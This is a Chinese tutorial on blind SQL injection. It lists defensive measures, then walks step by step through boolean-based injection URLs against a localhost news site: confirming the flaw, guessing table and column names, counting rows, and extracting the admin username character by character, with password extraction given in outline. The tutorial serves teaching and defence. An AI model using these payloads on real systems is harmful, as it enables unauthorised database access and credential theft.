SQL注入——盲注

SQL盲注

首先让我们一起来了解一下SQL注入的原理：

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

接下来就是如何防范：

1.永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双"-"进行转换等。
2.永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测，软件一般采用sql注入检测工具jsky，网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻击等。

SQL盲注的过程

1、测试有没有注入漏洞
浏览器输入 http://localhost:2003/newsInfo?id=1 and 1=1 页面正常 后台执行的SQL语句为：select * from news where id=1 and 1=1
输入 http://localhost:2003/newsInfo?id=1 and 1=2 空白页面，数据无法显示(后台执行的SQL语句为：select * from news where id=1 and 1=2)，页面有注入漏洞。

2、猜解数据库表名
既然有漏洞，就准备做点事情咯，主要目的是拿到后台管理员密码，先看看数据库里有哪些表吧
http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0 没有数据，继续猜解… N次，
终于 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0
这里是利用 后面的条件查询数据库表，如果表不存在，后台就报错了，本测试示例后台对异常做了处理，但是数据肯定是出不来的。

数据显示正常，说明表 user 存在，判断 为 用户表
3、表字段猜解
http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0 页面数据正常
说名表 user 存在 pwd 字段
同理 确认表 user 里存在 name 字段。
4、查询表里有多少条数据
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白页面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白页面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1 页面正常 ，只有一个用户
5、用户名猜解
★http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5 ，返回正常页面,确定用户名为5位字符
★ 用户名猜解
第一位 http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 返回正常页面 … 下面猜解 N次
http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96， 返回正常页面
http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97 返回空白页面了
这说明 第一位 ASCII值为 97，对应字母 a
以此类推 ，第2位，第3位 …第5位， 猜解出用户名 admin ，在这里主要用了 ASCII 和 SUBSTRING 函数，如果对这两个函数不熟悉请自行百度，下面是猜解过程截图。

6、密码猜解
用户名搞定了，密码思路也是一样

<A> 先确定密码长度

<B> 逐个密码猜解，这里就不写注入的sql语句了，同 用户名 猜解

至此，整改网站管理后台沦陷。

总结：

SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。